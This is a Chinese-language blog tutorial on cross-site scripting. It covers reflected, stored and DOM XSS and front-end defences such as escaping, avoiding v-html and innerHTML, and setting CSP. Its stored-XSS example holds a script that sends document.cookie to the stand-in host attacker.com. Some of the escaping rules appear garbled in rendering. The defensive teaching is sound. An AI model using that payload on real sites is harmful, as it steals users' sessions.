🚨XSS 攻击全解:什么是跨站脚本攻击?前端如何防御?

你也许听过 "XSS 漏洞",但它到底是怎么产生的?为什么一段 <script> 标签就能"接管你的网站"?本文将用开发者能懂的方式,一步步讲清楚 XSS 是什么、有哪些类型、会造成什么后果,以及我们该如何防御它。


🧠 一句话理解 XSS

XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者将恶意脚本注入网页,一旦其他用户访问了这个网页,脚本就在用户浏览器中执行,从而达到"劫持用户"的目的。


💥 一个经典 XSS 示例

你的网站允许用户提交评论,你这样渲染:

css 复制代码
<div>用户评论:{{ comment }}</div>

有一天,攻击者输入:

xml 复制代码
<script>alert('你被XSS了!')</script>

如果你没有做任何转义,最终页面会变成:

xml 复制代码
<div>用户评论:<script>alert('你被XSS了!')</script></div>

这段脚本真的会在其他访问页面的用户浏览器里执行!

而 alert 只是冰山一角,真正的攻击可能是:

  • 窃取用户 Cookie
  • 模拟用户操作
  • 注入木马下载链接
  • 劫持页面跳转
  • 记录用户输入(键盘监听)

🧭 XSS 有哪些类型?

XSS 攻击分为三大类:反射型、存储型、DOM 型

下面用最简洁、最实用的例子来区分这三类:


1️⃣ 反射型 XSS(Reflective)

恶意代码在 URL 参数中,服务器直接反射回来。

🧪 示例:

用户访问这个链接:

xml 复制代码
https://example.com?msg=<script>alert('XSS')</script>

后端没有处理,直接原样渲染:

css 复制代码
<p>你输入了:{{ msg }}</p>

⚠️ 用户一打开链接,XSS 就立即触发。

这种攻击方式通常结合钓鱼邮件/二维码传播,一旦点击就中招。


2️⃣ 存储型 XSS(Stored)

恶意代码存储在数据库中,其他用户访问时才触发。

🧪 示例:

攻击者发布一条评论:

xml 复制代码
<script>fetch('http://attacker.com/cookie?data=' + document.cookie)</script>

这条评论保存在数据库,其他访问这个页面的用户都会触发 XSS

⚠️ 危害最大,持久生效,常见于论坛、博客、留言板、商城评论区等。


3️⃣ DOM 型 XSS(前端操作 DOM 时中招)

恶意代码不通过服务器,而是直接注入到前端脚本中。

🧪 示例:

xml 复制代码
<script>
  const hash = location.hash // #<script>alert(1)</script>
  document.getElementById('msg').innerHTML = hash
</script>

攻击者通过 URL 将恶意内容放入 location.hash,前端开发者将它 innerHTML 进页面,XSS 即刻执行。


📉 XSS 会造成什么后果?

  1. 盗取用户 Cookie(可以伪造登录)

  2. 控制用户账号行为(转账、发帖、点赞等)

  3. 植入钓鱼页面或假登录框

  4. 传播病毒木马

  5. 监听用户输入(键盘记录)

XSS 本质上是:用你的网页当"跑马场",让攻击者的脚本在你的用户浏览器上做坏事。


🛡 如何防御 XSS?前端开发者必须掌握的几点

✅ 1. 所有输出内容必须转义

不要直接插入用户内容到 HTML!必须转义:

xml 复制代码
<!-- ❌ 危险 -->
<div>{{ comment }}</div>

<!-- ✅ 安全 -->
<div v-text="comment"></div> <!-- Vue 会自动转义 -->

或者后端输出也进行转义:

  • < 替换成 <
  • 替换成 >

  • " 替换成 "
  • ' 替换成 '

✅ 2. 禁止使用

v-html

渲染用户内容

xml 复制代码
<!-- ❌ 高风险 -->
<div v-html="userInput"></div>

v-html 会将字符串当作 HTML 插入页面,非常容易被 XSS 利用。

⚠️ 如果你一定要用,请确保内容经过严格白名单过滤(如 DOMPurify)。


✅ 3. 前端不要使用

innerHTML

动态插入不可信内容

ini 复制代码
// ❌ 不要这样做
el.innerHTML = userComment

使用 safer API:

ini 复制代码
el.textContent = userComment // 安全,自动转义

✅ 4. 后端设置 Content Security Policy(CSP)

通过 HTTP 头部告诉浏览器:哪些脚本是可信的,禁止页面执行不受信任的脚本。

arduino 复制代码
Content-Security-Policy: default-src 'self'

效果是即使页面被插入了 ,也不会被浏览器执行。


✅ 5. 使用 Web 安全框架或组件

前端:Vue、React 默认对模板输出做了转义

后端:Laravel、Spring Boot、Django、Express 等框架也提供自动转义机制

但你要记住:安全永远不能只靠框架,自己的代码也要小心。


🔎 一些你可能忽略的"隐形"XSS 注入点

场景 风险点
动态设置 href, src javascript: 协议可能执行代码
SVG 中嵌入 浏览器可能解析执行
富文本编辑器 若不过滤,可能被注入脚本
input 的 value 属性 也会被插入 HTML,需转义

📌 总结:记住这五句话,防住 90% 的 XSS

  1. 所有用户输入都不可信!必须验证 + 转义
  2. 千万不要使用 v-html、innerHTML 渲染不受控内容
  3. 不要用 javascript: 协议当作链接地址
  4. 输入和输出都需要防御 XSS,不是"后端的锅"
  5. 设置 CSP 安全策略,最后一层防线

📮 欢迎关注我

相关推荐
摸鱼的春哥1 天前
前端程序员最讨厌的10件事
前端·javascript·后端
牧羊狼的狼1 天前
React 中的 HOC 和 Hooks
前端·javascript·react.js·hooks·高阶组件·hoc
知识分享小能手1 天前
React学习教程,从入门到精通, React 属性(Props)语法知识点与案例详解(14)
前端·javascript·vue.js·学习·react.js·vue·react
魔云连洲1 天前
深入解析:Vue与React的异步批处理更新机制
前端·vue.js·react.js
mCell1 天前
JavaScript 的多线程能力:Worker
前端·javascript·浏览器
超级无敌攻城狮1 天前
3 分钟学会!波浪文字动画超详细教程,从 0 到 1 实现「思考中 / 加载中」高级效果
前端
excel1 天前
用 TensorFlow.js Node 实现猫图像识别(教学版逐步分解)
前端
前端工作日常1 天前
我学习到的Vue2.6的prop修饰符
vue.js
gnip1 天前
JavaScript事件流
前端·javascript
小菜全1 天前
基于若依框架Vue+TS导出PDF文件的方法
javascript·vue.js·前端框架·json